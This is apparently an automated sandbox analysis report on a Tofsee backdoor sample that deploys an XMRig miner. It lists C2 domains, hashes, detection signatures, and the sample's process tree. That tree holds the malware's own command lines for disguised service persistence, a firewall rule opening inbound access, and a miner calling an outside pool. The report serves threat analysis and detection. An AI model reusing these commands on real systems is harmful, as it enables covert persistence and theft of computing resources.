Analysis

  • max time kernel
    145s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/01/2023, 00:17

General

  • Target
    file.exe
  • Size 261KB
  • Sample230109-ak2ghsfb47
  • SHA256 b5428d877c7eb7dc239204beffcfa861753c52ae7246b1b792ba239e9029357e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2104
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dtokdefc\
      2⤵
        PID:4464
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\taaefpzk.exe" C:\Windows\SysWOW64\dtokdefc\
        2⤵
          PID:4852
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dtokdefc binPath= "C:\Windows\SysWOW64\dtokdefc\taaefpzk.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1796
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dtokdefc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1628
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dtokdefc
          2⤵
          • Launches sc.exe
          PID:3412
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3452
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2104 -s 1040
          2⤵
          • Program crash
          PID:2444
      • C:\Windows\SysWOW64\dtokdefc\taaefpzk.exe
        C:\Windows\SysWOW64\dtokdefc\taaefpzk.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4936
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2840
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2812
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4936 -s 516
          2⤵
          • Program crash
          PID:2964
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2104 -ip 2104
        1⤵
          PID:3244
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4936 -ip 4936
          1⤵
            PID:4400

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                taaefpzk.exe

                • Path C:\Users\Admin\AppData\Local\Temp\taaefpzk.exe
                • Size 11.8MB
                • SHA256 9b1e827078d54c8cc88af226f5b92f1b8d6d6e5a6b18e00b83b5a9a87c48389a
                • MD5 SHA1 SHA512 SSDEEP

                taaefpzk.exe

                • Path C:\Windows\SysWOW64\dtokdefc\taaefpzk.exe
                • Size 11.8MB
                • SHA256 9b1e827078d54c8cc88af226f5b92f1b8d6d6e5a6b18e00b83b5a9a87c48389a
                • MD5 SHA1 SHA512 SSDEEP

                memory/2104-137-0x0000000000400000-0x0000000002BA9000-memory.dmp

                memory/2104-144-0x0000000000400000-0x0000000002BA9000-memory.dmp

                memory/2104-133-0x00000000048F0000-0x0000000004903000-memory.dmp

                memory/2104-132-0x0000000002E6D000-0x0000000002E7E000-memory.dmp

                memory/2104-143-0x0000000002E6D000-0x0000000002E7E000-memory.dmp

                memory/2104-145-0x00000000048F0000-0x0000000004903000-memory.dmp

                memory/2812-173-0x0000000000A40000-0x0000000000B31000-memory.dmp

                memory/2812-178-0x0000000000A40000-0x0000000000B31000-memory.dmp

                memory/2840-154-0x0000000002200000-0x000000000240F000-memory.dmp

                memory/2840-147-0x0000000000670000-0x0000000000685000-memory.dmp

                memory/2840-169-0x00000000027D0000-0x00000000027D7000-memory.dmp

                memory/2840-151-0x0000000000670000-0x0000000000685000-memory.dmp

                memory/2840-166-0x0000000007240000-0x000000000764B000-memory.dmp

                memory/2840-153-0x0000000000670000-0x0000000000685000-memory.dmp

                memory/2840-163-0x00000000019F0000-0x00000000019F5000-memory.dmp

                memory/2840-157-0x0000000000B40000-0x0000000000B46000-memory.dmp

                memory/2840-160-0x0000000000BE0000-0x0000000000BF0000-memory.dmp

                memory/4936-152-0x0000000000400000-0x0000000002BA9000-memory.dmp

                memory/4936-150-0x0000000002E69000-0x0000000002E79000-memory.dmp